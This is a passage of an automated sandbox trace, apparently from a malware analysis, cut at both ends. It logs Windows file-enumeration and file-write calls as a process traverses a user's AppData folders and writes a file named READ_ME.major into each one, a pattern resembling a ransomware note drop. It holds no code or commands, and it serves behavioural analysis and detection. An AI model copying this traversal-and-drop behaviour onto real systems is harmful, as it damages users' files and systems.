ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.245] FindNextFileW (in: hFindFile=0x2f347e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a3fe356, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a3fe356, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.245] FindNextFileW (in: hFindFile=0x2f347e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a3fe356, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a3fe356, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.245] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271dcb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34060 [0229.245] FindNextFileW (in: hFindFile=0x2f34060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271dcb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.246] FindNextFileW (in: hFindFile=0x2f34060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a3fe356, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a3fe356, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.246] FindNextFileW (in: hFindFile=0x2f34060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a3fe356, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a3fe356, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a3fe356, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.246] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8c000, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a804e8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34820 [0229.246] FindNextFileW (in: hFindFile=0x2f34820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8c000, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a804e8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.246] FindNextFileW (in: hFindFile=0x2f34820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a804e8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3a804e8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3a804e8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.246] FindNextFileW (in: hFindFile=0x2f34820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe5aa5c7c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe5aa5c7c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0229.246] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19ec [0229.248] WriteFile (in: hFile=0x19ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.248] CloseHandle (hObject=0x19ec) returned 1 [0229.248] FindNextFileW (in: hFindFile=0x2f34820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe5aa5c7c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe5aa5c7c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 0 [0229.249] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eeb4b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34120 [0229.249] FindNextFileW (in: hFindFile=0x2f34120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eeb4b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.249] FindNextFileW (in: hFindFile=0x2f34120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.249] FindNextFileW (in: hFindFile=0x2f34120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.249] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eebab7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f340e0 [0229.249] FindNextFileW (in: hFindFile=0x2f340e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eebab7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.249] FindNextFileW (in: hFindFile=0x2f340e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.249] FindNextFileW (in: hFindFile=0x2f340e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.250] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eebfeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34160 [0229.250] FindNextFileW (in: hFindFile=0x2f34160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eebfeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.250] FindNextFileW (in: hFindFile=0x2f34160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.250] FindNextFileW (in: hFindFile=0x2f34160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.250] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f341a0 [0229.252] FindNextFileW (in: hFindFile=0x2f341a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.252] FindNextFileW (in: hFindFile=0x2f341a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.252] FindNextFileW (in: hFindFile=0x2f341a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.252] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34c60 [0229.252] FindNextFileW (in: hFindFile=0x2f34c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.252] FindNextFileW (in: hFindFile=0x2f34c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.252] FindNextFileW (in: hFindFile=0x2f34c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3aafefed, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3aafefed, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3aafefed, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.252] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34d60 [0229.255] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.255] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="all", cAlternateFileName="")) returned 1 [0229.255] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\all\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.256] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.257] CloseHandle (hObject=0x1a04) returned 1 [0229.257] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="de_CH", cAlternateFileName="")) returned 1 [0229.257] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\de_ch\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.259] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.259] CloseHandle (hObject=0x1a04) returned 1 [0229.259] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="de_DE", cAlternateFileName="")) returned 1 [0229.260] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\de_de\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.260] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.261] CloseHandle (hObject=0x1a04) returned 1 [0229.261] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="en_CA", cAlternateFileName="")) returned 1 [0229.261] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\en_ca\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.263] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.264] CloseHandle (hObject=0x1a04) returned 1 [0229.264] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, 